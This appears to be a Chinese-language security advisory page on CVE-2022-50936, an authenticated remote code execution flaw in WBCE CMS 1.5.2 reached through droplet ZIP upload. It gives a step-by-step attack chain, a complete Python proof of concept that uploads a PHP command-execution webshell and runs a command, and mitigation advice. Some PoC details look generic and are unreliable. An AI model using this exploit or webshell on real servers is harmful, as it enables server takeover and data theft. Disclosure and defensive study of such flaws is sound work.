IPBUF安全漏洞报告
English
CVE-2022-50936 CVSS 8.8 高危

CVE-2022-50936 WBCE CMS 1.5.2 认证后远程代码执行漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50936
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WBCE CMS

相关标签

WBCE CMS远程代码执行认证后漏洞文件上传绕过CVE-2022-50936Droplet上传PHP webshellRCE高危漏洞CMS漏洞

漏洞概述

CVE-2022-50936是WBCE CMS 1.5.2版本中的一个高危安全漏洞,属于认证后远程代码执行(RCE)类型。该漏洞存在于WBCE CMS的管理后台工具中的droplet(代码片段)上传功能模块。攻击者通过利用该漏洞,可以在已获取低权限管理员账号的情况下,上传包含恶意PHP代码的ZIP压缩包文件,从而在目标服务器上执行任意操作系统命令。漏洞的CVSS评分达到8.8分,显示出极高的安全风险。由于该漏洞需要认证才能利用,因此主要威胁来自于内部人员或已被攻陷的管理账户。攻击成功后,攻击者可以完全控制受影响的Web服务器,获取敏感数据、植入后门或进一步横向移动到内网其他系统。该漏洞影响WBCE CMS的admin tools模块,攻击者利用droplet创建功能的设计缺陷,绕过了文件上传的安全检查机制。

技术细节

该漏洞的技术根源在于WBCE CMS 1.5.2版本中admin tools模块的droplet上传功能存在不安全的文件处理机制。攻击者首先需要获得一个具有admin权限的用户账户,然后访问管理面板中的droplet管理界面。系统允许管理员上传ZIP格式的droplet文件包,攻击者可以构造一个包含恶意PHP webshell的ZIP文件。系统在解压并处理该ZIP文件时,没有对内部文件内容进行充分的安全验证,直接将恶意PHP文件写入服务器可执行目录。当攻击者通过特定方式调用这个被植入的PHP文件时,服务器会解析并执行其中的恶意代码,从而触发远程代码执行。由于droplet功能本身就是用于存储和执行PHP代码片段的设计,因此这种恶意代码注入很难被传统WAF规则检测。攻击者可以利用此漏洞执行系统命令、读取敏感配置文件、连接数据库或建立持久化后门。

攻击链分析

STEP 1
步骤1:信息收集与认证
攻击者首先通过自动化扫描或社工手段获取WBCE CMS管理员账户凭据。WBCE CMS 1.5.2默认后台路径为/admin/login/index.php,攻击者使用收集到的用户名密码进行登录认证。
STEP 2
步骤2:构造恶意Payload
攻击者构造包含恶意PHP代码的ZIP压缩包文件。ZIP包内包含webshell文件(如droplet.php),webshell内容通常为一句话木马或更复杂的命令执行后门,用于接收并执行攻击者发送的系统命令。
STEP 3
步骤3:访问Admin Tools模块
登录成功后,攻击者导航到管理后台的admintools模块,选择droplet管理功能。该功能原本用于管理员创建和管理代码片段,但未对上传的ZIP文件内容进行充分的安全校验。
STEP 4
步骤4:上传恶意Droplet文件
攻击者通过droplet上传功能提交构造好的恶意ZIP文件。系统会自动解压ZIP包并将其中包含的PHP文件写入/media/droplets/目录。由于该目录通常在Web根目录下,PHP文件可直接被HTTP请求访问执行。
STEP 5
步骤5:触发远程代码执行
攻击者通过HTTP请求访问被植入的webshell文件,传递恶意命令参数。服务器解析执行PHP代码,将命令结果返回给攻击者。此时攻击者已获得服务器的命令执行能力,可进一步提权、横向移动或植入持久化后门。
STEP 6
步骤6:维持持久化访问
成功执行RCE后,攻击者通常会创建额外的后门账户、上传完整的webshell或建立反向shell连接,确保即使原管理员修改密码也能维持对系统的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os import requests # CVE-2022-50936 PoC - WBCE CMS 1.5.2 Authenticated RCE via Droplet Upload # Target: WBCE CMS <= 1.5.2 # Attack Type: Remote Code Execution via malicious droplet ZIP upload TARGET_URL = "http://target-website.com/admin/admintools/tool.php" LOGIN_URL = "http://target-website.com/admin/login/index.php" USERNAME = "admin" PASSWORD = "password" # Create malicious PHP webshell disguised as droplet webshell_content = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" # Create malicious droplet ZIP file zip_filename = "malicious_droplet.zip" with zipfile.ZipFile(zip_filename, 'w') as zf: # Droplet files typically need specific naming convention zf.writestr("droplet.php", webshell_content) zf.writestr("droplet.xml", "<droplet><name>evil</name></droplet>") # Step 1: Authenticate to get session cookie session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD, 'submit': 'Login' } resp = session.post(LOGIN_URL, data=login_data) # Step 2: Upload malicious droplet ZIP via admin tools files = {'file': open(zip_filename, 'rb')} upload_data = { 'tool': 'droplets', 'action': 'upload' } upload_resp = session.post(TARGET_URL, files=files, data=upload_data) # Step 3: Execute the planted webshell webshell_url = "http://target-website.com/media/droplets/droplet.php" cmd_data = {'cmd': 'whoami'} exec_resp = session.get(webshell_url, params=cmd_data) print(exec_resp.text) os.remove(zip_filename) print("[+] Exploitation completed - RCE achieved")

影响范围

WBCE CMS 1.5.2及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)立即更改所有管理员账户密码为强密码,并启用双因素认证;2)限制管理后台仅允许从特定IP段访问;3)在Web服务器配置中禁用/media/droplets/目录的PHP执行权限(添加<FilesMatch "\.php$">Require all denied</FilesMatch>规则);4)暂时禁用droplet上传功能或限制仅允许上传经过安全审查的预批准代码片段;5)加强日志监控,及时发现异常的管理后台操作行为;6)考虑使用Web应用防火墙对相关请求进行拦截和告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表